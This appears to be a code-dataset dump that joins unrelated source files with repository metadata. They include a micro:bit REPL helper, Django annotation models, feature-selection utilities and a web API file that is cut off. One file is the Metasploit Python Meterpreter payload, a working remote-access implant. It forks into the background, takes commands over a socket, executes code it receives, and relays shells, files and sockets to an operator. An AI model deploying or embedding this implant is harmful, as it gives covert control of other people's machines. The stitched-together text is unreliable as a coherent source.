hungjuchen/Atmosmakers

4e8e64fba3d7a31840f69a5aa3823247aa5dca02

[ "MIT" ]

32

2017-06-09T10:15:19.000Z

2021-11-20T09:08:08.000Z

# repl/repl.py # # A REPL interface to a micro:bit or similar device running MicroPython # This is written on top of pyserial, however the dependency on pyserial # is soft (as the serial instance is passed in as a constructor parameter # and the detection of the need to bytes-encode strings is dynamic). # Thus you can pass in any object that implements the following interface: # write(str) # read()-> str # and/or this interface: # write(bytes) # read()->bytes import time import re class REPLException(Exception): def __init__(self, msg=None): Exception.__init__(self, msg) class REPL(): def __init__(self, ser): self.ser = ser def rx(): # always return a str(1) regardless of python version data = ser.read(1) if len(data) == 0: return None if type(data) == str: # pyserial2 d = data[0] elif type(data) == bytes: # pyserial3 d = data[0] # this will be a bytes() of len 1 d = chr(d) else: # no idea! raise REPLException("Unknown return type from ser.read:%s" % str(type(data))) return d self.readch = rx def receive(self, wanted=None, min_length=None, max_length=None, timeout=None, idle_timeout=None): ##print("trying to receive:%s" % str(wanted)) if wanted is not None: matcher = re.compile(wanted, re.DOTALL) else: matcher = None now = time.time() if timeout is not None: timeout_at = now + timeout else: timeout_at = None if idle_timeout is not None: idle_timeout_at = now + idle_timeout else: idle_timeout_at = None buffer = "" while True: now = time.time() ch = self.readch() if ch is not None: buffer += ch if idle_timeout is not None: idle_timeout_at = now + idle_timeout if matcher is not None and idle_timeout is None and matcher.match(buffer): if min_length is None: ##print("got:%s" % buffer) return buffer #TODO get captures elif len(buffer) >= min_length: ##print("got:%s" % buffer) return buffer if max_length is not None and len(buffer) >= max_length: raise REPLException("buffer overflow? [%s]" % buffer) if timeout_at is not None and now >= timeout_at: raise REPLException("Timeout trying to receive [%s]" % buffer) if idle_timeout_at is not None and now >= idle_timeout_at: if matcher is not None and matcher.match(buffer): if min_length is None: ##print("got:%s" % buffer) return buffer elif len(buffer) >= min_length: return buffer ##print("got:%s" % buffer) else: raise REPLException("Did not match at end of idle timeout, too short [%s]" % buffer) else: raise REPLException("Did not match at end of idle timeout [%s]" % buffer) def to_raw(self): ##print("**** WAITING FOR PROMPT") if not self.wait_prompt(): ##print("**** SENDING CTRL-C to force a prompt") self.ctrl_c() # try to stop running user program self.ctrl_b() # also if already at raw REPL, trigger exit from it ##print("**** waiting for prompt response") if not self.wait_prompt(): raise REPLException("could not get a prompt") ##print("**** SENDING CTRL-A to get raw repl") self.ctrl_a() # enter raw REPL mode self.wait_repl_response() ##print("**** GOT RAW REPL") def wait_prompt(self): try: ##print("*** waiting for prompt") self.receive(".*>>> ", timeout=2, idle_timeout=1) except REPLException as e: ##print("*** REPLEXCEPTION:%s" % str(e)) return False return True ##TODO: This does not work at all in Python 3, It seems to encode as b'\x00 \x00 \x00' #and as a result the REPL does not respond at all. But it works in Python 2 at the moment #still. # if we pass in chr(ord(code)-64) we get a 'can't handle unicode \x03' error in ser.write. # Note: Martin O'Hanlon said in BlueDot he wrote a to_bytes. # There is a to_bytes inside PySerial, but for some reason the REPL prompt is not # detected - perhaps that is less to do with byte encoding, and more to do with # string comparisons failing? Put some debug on this and see what actually is sent and returned. def ctrl_c(self): self.ser.write(b'\x03') def ctrl_a(self): self.ser.write(b'\x01') def ctrl_b(self): self.ser.write(b'\x02') def ctrl_d(self): self.ser.write(b'\x04') def wait_repl_response(self): self.receive("\r\nraw REPL; CTRL-B to exit\r\n>", timeout=2) def _send_command(self, cmd): self.ser.write(cmd) def send_command(self, cmd): #pyserial 3 or greater will not cope with strings, must be bytes #but we don't want a hard dependency to 'serial' module, and this is #not really a python3 thing, it's a pyserial thing. #We resolve this by catching the first TypeError and rewriting the wrapper #function for future calls. try: self._send_command(cmd) except TypeError: def _new_send_command(cmd): cmd = bytes(cmd, 'UTF-8') self.ser.write(cmd) self._send_command = _new_send_command self._send_command(cmd) self.ctrl_d() def wait_response(self): self.receive("OK", timeout=1, min_length=2) output_text = self.receive(".*\x04") exception_text = self.receive(".*\x04", timeout=1) output_text = output_text[:-1] # strip CTRL-D exception_text = exception_text[:-1] # strip CTRL-D self.receive(">", timeout=1) if exception_text != "": raise REPLException("REPL exception:%s" % exception_text) return output_text # END

35.234973

108

0.563896

5,942

0.921526

0

2,366

0.366935

b812c3ba84401bea4ea454da2ee284c224fe8b47

44

py

Python

lib/connection/RequestException.py

Karaya-12/Website-Dir-Scanner

04b150524631e2fff00a319b7daab7f4d32ddb18

[ "MIT" ]

3

2019-09-30T07:12:58.000Z

2020-08-15T10:50:51.000Z

emailrep/exceptions.py

pry0cc/emailrep.io-python

c33839d327d438e75b4e6eea462ab15677462d54

[ "MIT" ]

null

emailrep/exceptions.py

pry0cc/emailrep.io-python

c33839d327d438e75b4e6eea462ab15677462d54

[ "MIT" ]

1

2019-08-22T15:35:11.000Z

class RequestException(Exception): pass

14.666667

34

0.772727

43

0.977273

0

b814083d787036eed69c0998c2575b86f722e9ca

3,172

py

Python

src/cocoannot/annotpreferred/models.py

coco-tasks/annotation-tool

ebd2e77ec8aeddedb9f87f457b6d5d8989b602db

[ "MIT" ]

9

2019-04-18T15:35:38.000Z

2021-06-07T08:01:27.000Z

src/cocoannot/annotpreferred/models.py

coco-tasks/annotation-tool

ebd2e77ec8aeddedb9f87f457b6d5d8989b602db

[ "MIT" ]

1

2019-07-16T10:07:09.000Z

src/cocoannot/annotpreferred/models.py

coco-tasks/annotation-tool

ebd2e77ec8aeddedb9f87f457b6d5d8989b602db

[ "MIT" ]

3

2020-05-20T12:06:59.000Z

2020-12-12T06:45:26.000Z

from django.contrib.auth.models import User from django.db import models from markdownx.models import MarkdownxField class Category(models.Model): """ Represents a COCO category """ coco_id = models.IntegerField(unique=True, db_index=True) name = models.CharField(max_length=50) supercategory = models.CharField(max_length=50) def __str__(self): return "Category {}: {} ({})".format(self.coco_id, self.name, self.supercategory) class Task(models.Model): """ Represents a Task """ number = models.IntegerField(unique=True, db_index=True) name = models.CharField(max_length=50) desc = models.TextField(blank=True, null=True) desc_image = models.ImageField(upload_to='task_images', blank=True, default=None, null=True) def __str__(self): return "Task {}: {}".format(self.number, self.name) class Image(models.Model): """ Represents an image in the dataset """ coco_id = models.IntegerField(unique=True, db_index=True) path = models.CharField(max_length=200) set_name = models.CharField(max_length=10) width = models.IntegerField() height = models.IntegerField() related_tasks = models.ManyToManyField(Task) def __str__(self): return "Image {}".format(self.coco_id) class Annot(models.Model): """ Represents a COCO annotation for instances. """ coco_id = models.IntegerField(unique=True, db_index=True) image = models.ForeignKey(Image, on_delete=models.CASCADE) category = models.ForeignKey(Category, on_delete=models.CASCADE) area = models.FloatField() iscrowd = models.BooleanField() bbox_x = models.FloatField() bbox_y = models.FloatField() bbox_w = models.FloatField() bbox_h = models.FloatField() segmentation = models.TextField() # I am going to store the segmentation as a text field. # I will convert it into json on demand. def __str__(self): return "Annot {} ({})".format(self.coco_id, self.category) def get_bbox(self): return [self.bbox_x, self.bbox_y, self.bbox_w, self.bbox_h] def set_bbox(self, bbox): bbox = tuple(bbox) self.bbox_x, self.bbox_y, self.bbox_w, self.bbox_h = bbox class Job(models.Model): """ Represents a job (an annotation of the preferred objects) for an image by a user. """ task = models.ForeignKey(Task, on_delete=models.CASCADE, db_index=True) image = models.ForeignKey(Image, on_delete=models.CASCADE, db_index=True) user = models.ForeignKey(User, on_delete=models.CASCADE, db_index=True) is_example = models.BooleanField(default=False, db_index=True) is_done = models.BooleanField(default=False, db_index=True) date_created = models.DateTimeField(auto_now_add=True) def __str__(self): return "Job[task={}, image={}, user={}]".format(self.task.name, self.image_id, self.user.first_name) class PreferredAnnot(models.Model): job = models.ForeignKey(Job, on_delete=models.CASCADE, db_index=True) annot = models.ForeignKey(Annot, on_delete=models.CASCADE, db_index=True) class AnnotationPolicy(models.Model): policy = MarkdownxField()

33.041667

108

0.698298

3,034

0.956494

0

482

0.151955

b81415a0a71fcac22aeb01aa39ba0c4dc0f68e8c

13,866

py

Python

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

1

2015-11-05T21:38:38.000Z

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

null

data/meterpreter/meterpreter.py

codex8/metasploit-framework

eb745af12fe591e94f8d6ce9dac0396d834991ab

[ "Apache-2.0", "BSD-3-Clause" ]

null

#!/usr/bin/python import code import ctypes import os import random import select import socket import struct import subprocess import sys import threading has_windll = hasattr(ctypes, 'windll') # # Constants # PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 CHANNEL_CLASS_BUFFERED = 0 CHANNEL_CLASS_STREAM = 1 CHANNEL_CLASS_DATAGRAM = 2 CHANNEL_CLASS_POOL = 3 # # TLV Meta Types # TLV_META_TYPE_NONE = ( 0 ) TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV base starting points # TLV_RESERVED = 0 TLV_EXTENSIONS = 20000 TLV_USER = 40000 TLV_TEMP = 60000 # # TLV Specific Types # TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' return ''.join(random.choice(chars) for x in xrange(32)) def packet_get_tlv(pkt, tlv_type): offset = 0 while (offset < len(pkt)): tlv = struct.unpack('>II', pkt[offset:offset+8]) if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: val = val.split('\x00', 1)[0] elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: pass return {'type':tlv[1], 'length':tlv[0], 'value':val} offset += tlv[0] return {} def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] data = "" if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] return data class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive self.data = '' self.data_lock = threading.RLock() def run(self): while self.is_alive(): byte = self.std.read(1) self.data_lock.acquire() self.data += byte self.data_lock.release() self.data_lock.acquire() self.data += self.std.read() self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 def read(self, l = None): data = '' self.data_lock.acquire() if l == None: data = self.data self.data = '' else: data = self.data[0:l] self.data = self.data[l:] self.data_lock.release() return data class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() class PythonMeterpreter(object): def __init__(self, socket): self.socket = socket self.extension_functions = {} self.channels = {} self.interact_channels = [] self.processes = {} for func in filter(lambda x: x.startswith('_core'), dir(self)): self.extension_functions[func[1:]] = getattr(self, func) self.running = True def register_function(self, func): self.extension_functions[func.__name__] = func def register_function_windll(self, func): if has_windll: self.register_function(func) def add_channel(self, channel): idx = 0 while idx in self.channels: idx += 1 self.channels[idx] = channel return idx def add_process(self, process): idx = 0 while idx in self.processes: idx += 1 self.processes[idx] = process return idx def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): request = self.socket.recv(8) if len(request) != 8: break req_length, req_type = struct.unpack('>II', request) req_length -= 8 request = '' while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) self.socket.send(response) else: channels_for_removal = [] channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed for channel_id in channel_ids: channel = self.channels[channel_id] data = '' if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read() elif channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, socket._socketobject): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) except socket.error: d = '' if len(d) == 0: self.handle_dead_resource_channel(channel_id) break data += d if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response def _core_shutdown(self, request, response): response += tlv_pack(TLV_TYPE_BOOL, True) self.running = False return ERROR_SUCCESS, response def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) handler = 'channel_create_' + channel_type['value'] if handler not in self.extension_functions: return ERROR_FAILURE, response handler = self.extension_functions[handler] return handler(request, response) def _core_channel_close(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] if isinstance(channel, file): channel.close() elif isinstance(channel, subprocess.Popen): channel.kill() elif isinstance(s, socket._socketobject): channel.close() else: return ERROR_FAILURE, response del self.channels[channel_id] if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) return ERROR_SUCCESS, response def _core_channel_eof(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] result = False if isinstance(channel, file): result = channel.tell() == os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response def _core_channel_interact(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] if toggle: if channel_id in self.interact_channels: self.interact_channels.remove(channel_id) else: self.interact_channels.append(channel_id) elif channel_id in self.interact_channels: self.interact_channels.remove(channel_id) return ERROR_SUCCESS, response def _core_channel_read(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' if isinstance(channel, file): data = channel.read(length) elif isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) elif isinstance(s, socket._socketobject): data = channel.recv(length) else: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) return ERROR_SUCCESS, response def _core_channel_write(self, request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) if isinstance(channel, file): channel.write(channel_data) elif isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response channel.stdin.write(channel_data) elif isinstance(s, socket._socketobject): try: l = channel.send(channel_data) except socket.error: channel.close() self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response else: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_LENGTH, l) return ERROR_SUCCESS, response def create_response(self, request): resp = struct.pack('>I', PACKET_TYPE_RESPONSE) method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) resp += tlv_pack(method_tlv) reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) if method_tlv['value'] in self.extension_functions: handler = self.extension_functions[method_tlv['value']] try: result, resp = handler(request, resp) except Exception, err: result = ERROR_FAILURE else: result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): os.setsid() met = PythonMeterpreter(s) met.run()

33.737226

134

0.706044

9,262

0.667965

0

799

0.057623

b814b973d8e54a857c2c3fc248c1064d45ba00c1

8,599

py

Python

utils/dev/feature.py

brunocvs7/bot_detection_twitter_profile_features

44a88b0774bdab33da78f7679e109ccd8c34f4df

[ "MIT" ]

1

2021-11-03T02:22:57.000Z

utils/dev/feature.py

brunocvs7/bot_detection_twitter_profile_features

44a88b0774bdab33da78f7679e109ccd8c34f4df

[ "MIT" ]

null

utils/dev/feature.py

brunocvs7/bot_detection_twitter_profile_features

44a88b0774bdab33da78f7679e109ccd8c34f4df

[ "MIT" ]

1

2021-11-01T00:49:07.000Z

from sklearn.preprocessing import MinMaxScaler from sklearn.pipeline import Pipeline from scipy.stats import chi2_contingency from sklearn.compose import ColumnTransformer from boruta import BorutaPy from sklearn.ensemble import RandomForestClassifier from sklearn.preprocessing import OrdinalEncoder from sklearn.impute import SimpleImputer from scipy.stats import pointbiserialr from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import StratifiedKFold, cross_val_score import pandas as pd import numpy as np def point_biserial(df, y, num_columns = None, significance=0.05): ''' Perform feature selection based on correlation test. Parameters: df (pandas.dataframe): A dataframe containing all features and target num_columns (list): A list containing all categorical features. If empty list, the function tries to infer the categorical columns itself y (string): A string indicating the target. Returns: columns_remove_pb (list): ''' correlation = [] p_values = [] results = [] if num_columns: num_columns = num_columns else: num_columns = df.select_dtypes(include=['int','float', 'int32', 'float64']).columns.tolist() for col in num_columns: df[col] = df[col].fillna(df[col].median()) correlation_aux, p_value_aux = pointbiserialr(df[col], df[y]) correlation.append(correlation_aux) p_values.append(p_value_aux) if p_value_aux <= significance: results.append('Reject H0') else: results.append('Accept H0') pb_df = pd.DataFrame({'column':num_columns, 'correlation':correlation, 'p_value':p_values, 'result':results}) columns_remove_pb = pb_df.loc[pb_df['result']=='Accept H0']['column'].values.tolist() return pb_df, columns_remove_pb class Boruta: """ A class to perform feature selection, based on BorutaPy Class of boruta package This version is based only on feature importance of a random forest model and returns results more pretifully See https://github.com/scikit-learn-contrib/boruta_py for more details (original implementation) ... Attributes ---------- n_iter : int number of iterations the algorithm will perform columns_removed : list list of columns to be removed (Obtained after fit method runs) Methods ------- fit(X, y): Runs Boruta Algorithm. It brings a list of columns We should remove and a boolean vetor. """ def __init__(self, n_iter=100): """ Constructs all the necessary attributes for the boruta object. Parameters ---------- n_iter : int number of iterations the algorithm will perform """ self.n_iter = n_iter self._columns_remove_boruta = None self._bool_decision = None self._best_features = None def fit(self, X, y, cat_columns=True, num_columns=True): """ Runs Boruta Algorithm. Parameters ---------- X : pandas.dataframe Pandas Data Frame with all features y: pandas.dataframe Pandas Data Frame with target Returns ------- None """ X.replace(to_replace=[None], value=np.nan, inplace=True) if (num_columns == False) & (cat_columns == True): cat_columns = X.select_dtypes(include=['object']).columns.tolist() X.loc[:, cat_columns] = X.loc[:, cat_columns].astype('str') cat_pipe_preprocessor = Pipeline(steps = [('imputer', SimpleImputer(strategy = 'most_frequent')), ('cat_transformer', OrdinalEncoder())]) preprocessor = ColumnTransformer(transformers = [('cat_pipe_preprocessor', cat_pipe_preprocessor, cat_columns)]) X_processed = preprocessor.fit_transform(X) rf = RandomForestClassifier(n_jobs=-1, class_weight='balanced', max_depth=5, random_state=123) # Criando o boruta selector = BorutaPy(rf, n_estimators='auto',random_state=123, max_iter = self.n_iter) selector.fit(X,y) elif (cat_columns==False) & (num_columns==True): num_columns = X.select_dtypes(include=['int','float']).columns.tolist() num_pipe_preprocessor = Pipeline(steps= [('imputer',SimpleImputer(strategy = 'median'))]) preprocessor = ColumnTransformer(transformers = [('num_pipe_preprocessor',num_pipe_preprocessor, num_columns)]) X_processed = preprocessor.fit_transform(X) rf = RandomForestClassifier(n_jobs=-1, class_weight='balanced', max_depth=5, random_state=123) # Criando o boruta selector = BorutaPy(rf, n_estimators='auto',random_state=123, max_iter = self.n_iter) selector.fit(X_processed,y) else: cat_columns = X.select_dtypes(include=['object']).columns.tolist() X.loc[:, cat_columns] = X.loc[:, cat_columns].astype('str') num_columns = X.select_dtypes(include=['int','float']).columns.tolist() num_pipe_preprocessor = Pipeline(steps= [('imputer',SimpleImputer(strategy = 'median'))]) cat_pipe_preprocessor = Pipeline(steps = [('imputer', SimpleImputer(strategy = 'most_frequent')), ('cat_transformer', OrdinalEncoder())]) preprocessor = ColumnTransformer(transformers = [('num_pipe_preprocessor',num_pipe_preprocessor, num_columns), ('cat_pipe_preprocessor', cat_pipe_preprocessor, cat_columns)]) X_processed = preprocessor.fit_transform(X) rf = RandomForestClassifier(n_jobs=-1, class_weight='balanced', max_depth=5, random_state=123) # Criando o boruta selector = BorutaPy(rf, n_estimators='auto',random_state=123, max_iter = self.n_iter) selector.fit(X_processed,y) bool_decision = [not x for x in selector.support_.tolist()] # apenas invertendo o vetor de true/false columns_remove_boruta = X.loc[:,bool_decision].columns.tolist() columns_keep_boruta = X.loc[:,selector.support_.tolist()].columns.tolist() self._columns_remove_boruta = columns_remove_boruta self._bool_decision = bool_decision self._best_features = columns_keep_boruta def chi_squared(df, y, cat_columns = None, significance=0.05): ''' Performs chi2 hypothesis test to find relationship between predictors and target in a data frame Parameters: df (pandas.dataframe): A data frame containing categorical features and target variable y (string): A string that saves the name of target variable cat_columns (list): A list with the name of categorical features. If None, function tries to infer It by itself significance (float): A float number indicating the significance level for the test. Deafult is 0.05 Retorna: chi2_df (pandas.dataframe): A data frame with the results of the tests columns_remove_chi2 (list): A list of columns that should be removed logs (list): A list of columns that could not be evaluated ''' p_values = [] logs = [] chi2_results = [] results = [] if cat_columns == None: cat_columns = df.select_dtypes(['object']).columns.tolist() else: cat_columns = cat_columns for cat in cat_columns: cross_table = pd.crosstab(df[cat], df[y]) if not cross_table[cross_table < 5 ].count().any(): cross_table = pd.crosstab(df[cat], df[y]) chi2, p, dof, expected = chi2_contingency(cross_table.values) chi2_results.append(chi2) p_values.append(p) else: logs.append("Column {} could'nt be evaluated".format(cat)) chi2_results.append(np.nan) p_values.append(np.nan) for p in p_values: if p <= significance: results.append('Reject H0') else: results.append('Accept H0') chi2_df = pd.DataFrame({"column":cat_columns, 'p-value':p_values,'chi2':chi2_results, 'results':results}) columns_remove_chi2 = chi2_df.loc[chi2_df['results']=='Accept H0']['column'].values.tolist() return chi2_df, columns_remove_chi2, logs

41.946341

186

0.636818

4,459

0.518549

0

3,122

0.363065

b814f40aa31389fa14c7b83364d7da4918d56140

6,293

py

Python

apiserver/apiserver/web/challenge.py

AlexParra03/Halite-III

1f108a0d9a07397400621e9a7ccefd7f4f13fee2

[ "MIT" ]

1

2021-07-01T20:57:24.000Z

apiserver/apiserver/web/challenge.py

the-higgs/Halite-III

1f108a0d9a07397400621e9a7ccefd7f4f13fee2

[ "MIT" ]

null

apiserver/apiserver/web/challenge.py

the-higgs/Halite-III

1f108a0d9a07397400621e9a7ccefd7f4f13fee2

[ "MIT" ]

null

""" User challenge API endpoints - list user's challenges & issue new ones """ import datetime import flask import sqlalchemy from .. import model, util from . import match as match_api from . import util as api_util from .blueprint import web_api def make_challenge_record(challenge, participants): result = { "challenge_id": challenge["id"], "time_created": challenge["created"], "time_finished": challenge["finished"], "num_games": challenge["num_games"], "issuer": challenge["issuer"], "winner": challenge["winner"], "finished": bool(challenge["finished"]), "players": {}, } for participant in participants: result["players"][participant["user_id"]] = { "username": participant["username"], "profile_image_key": participant["profile_image_key"], "points": participant["points"], "is_issuer": participant["user_id"] == result["issuer"], } return result def get_challenge_helper(challenge_id): with model.read_conn() as conn: query = sqlalchemy.sql.select([ model.challenges.c.id, model.challenges.c.created, model.challenges.c.finished, model.challenges.c.num_games, model.challenges.c.issuer, model.challenges.c.winner, ]).select_from(model.challenges).where( model.challenges.c.id == challenge_id ).reduce_columns() challenge = conn.execute(query).first() if not challenge: raise util.APIError( 404, message="Challenge {} not found.".format(challenge_id)) participants = conn.execute( model.challenge_participants.join( model.all_users, model.challenge_participants.c.user_id == model.all_users.c.user_id ).select( model.challenge_participants.c.challenge_id == challenge["id"] ) ) return make_challenge_record(challenge, participants) def list_challenges_helper(offset, limit, participant_clause, where_clause, order_clause, user_id=None): with model.read_conn() as conn: if user_id is not None: # See if user is part of a team, and add to participant # clause team = conn.execute(model.team_leader_query(user_id)).first() if team: participant_clause &= model.challenge_participants.c.user_id.in_([ user_id, team["leader_id"], ]) else: participant_clause &= model.challenge_participants.c.user_id == user_id query = sqlalchemy.sql.select([ model.challenges.c.id, model.challenges.c.created, model.challenges.c.finished, model.challenges.c.num_games, model.challenges.c.issuer, model.challenges.c.winner, ]).select_from(model.challenges).where( where_clause & sqlalchemy.sql.exists(model.challenge_participants.select( participant_clause & 